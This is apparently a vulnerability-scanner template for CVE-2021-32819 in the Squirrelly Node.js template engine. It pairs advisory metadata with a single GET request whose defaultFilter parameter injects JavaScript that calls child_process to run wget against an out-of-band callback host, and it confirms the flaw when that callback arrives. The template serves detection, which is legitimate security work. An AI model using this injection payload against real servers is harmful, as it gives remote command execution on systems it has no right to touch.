id: CVE-2021-32819

info:
  name: Nodejs squirrelly template engine RCE
  author: pikpikcu
  severity: high
  description: |
    Squirrelly is a template engine implemented in JavaScript that works out of the box with ExpressJS. Squirrelly mixes pure template data with engine configuration
    options through the Express render API. By overwriting internal configuration options remote code execution may be triggered in downstream applications. There is
    currently no fix for these issues as of the publication of this CVE. The latest version of squirrelly is currently 8.0.8. For complete details refer to the referenced GHSL-2021-023.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/
    - https://www.linuxlz.com/aqld/2331.html
    - https://blog.diefunction.io/vulnerabilities/ghsl-2021-023
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-32819
  tags: cve,cve2021,nodejs,rce,oast

requests:
  - method: GET
    path:
      - '{{BaseURL}}/?Express=aaaa&autoEscape=&defaultFilter=e%27);var+require=global.require+%7C%7C+global.process.mainModule.constructor._load;+require(%27child_process%27).exec(%27wget%20http://{{interactsh-url}}%27);//'

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"